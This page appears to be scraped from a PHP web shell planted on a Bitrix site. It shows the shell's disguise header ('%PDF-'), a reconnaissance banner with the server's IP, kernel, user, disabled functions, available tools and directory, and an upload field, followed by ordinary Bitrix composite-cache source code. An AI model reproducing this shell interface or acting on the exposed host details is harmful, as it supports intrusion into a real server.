%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 18.226.200.172 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/main/lib/composite/internals/ |
Upload File : |
<? namespace Bitrix\Main\Composite\Internals; use Bitrix\Main\Composite; use Bitrix\Main\Composite\Helper; use Bitrix\Main\Composite\StaticArea; class AutomaticArea { /** @var \CBitrixComponent */ private $component = null; private $started = false; /** @var AutomaticArea */ private static $currentArea = null; public function __construct($component) { $this->component = $component; } public function start() { if (!Composite\Engine::getUseHTMLCache() || !$this->isFirstLevelComponent()) { return false; } if (StaticArea::getCurrentDynamicId() !== false) { return false; } if ($this->component->getDefaultFrameMode() === false || $this->getFrameType() === "STATIC") { return false; } if (in_array($this->component->getName(), array("bitrix:breadcrumb", "bitrix:main.include"))) { return false; } if ($this->component->getName() === "bitrix:menu" && isset($this->component->arParams["DELAY"]) && $this->component->arParams["DELAY"] === "Y" ) { return false; } $this->started = true; static::$currentArea = $this; ob_start(); return true; } public function end() { if (!$this->started) { return false; } $isComponentAdapted = $this->component->getRealFrameMode() !== null || ($this->component->__template !== null && $this->component->__template->getRealFrameMode() !== null); if ($isComponentAdapted) { ob_end_flush(); } else { $stub = ob_get_contents(); ob_end_clean(); $frame = new StaticArea($this->component->randString()); if ($this->getFrameType() === "DYNAMIC_WITH_STUB") { $frame->setStub($stub); } elseif ($this->getFrameType() === "DYNAMIC_WITH_STUB_LOADING") { $frame->setStub('<div class="bx-composite-loading"></div>'); } $frame->startDynamicArea(); echo $stub; $frame->finishDynamicArea(); } $this->started = false; static::$currentArea = null; return true; } public function getFrameType() { $componentParams = $this->component->arParams; if (isset($componentParams["COMPOSITE_FRAME_TYPE"]) && is_string($componentParams["COMPOSITE_FRAME_TYPE"])) { $type = mb_strtoupper($componentParams["COMPOSITE_FRAME_TYPE"]); if (in_array($type, static::getFrameTypes())) { return $type; } } $compositeOptions = Helper::getOptions(); if (isset($compositeOptions["FRAME_TYPE"]) && is_string($compositeOptions["FRAME_TYPE"])) { $type = mb_strtoupper($compositeOptions["FRAME_TYPE"]); if (in_array($type, static::getFrameTypes())) { return $type; } } return "STATIC"; } public static function getFrameTypes() { return array( "STATIC", "DYNAMIC_WITH_STUB", "DYNAMIC_WITH_STUB_LOADING", "DYNAMIC_WITHOUT_STUB", ); } /** * @return AutomaticArea */ public static function getCurrentArea() { return static::$currentArea; } private function isFirstLevelComponent() { return count($GLOBALS["APPLICATION"]->getComponentStack()) <= 1; } }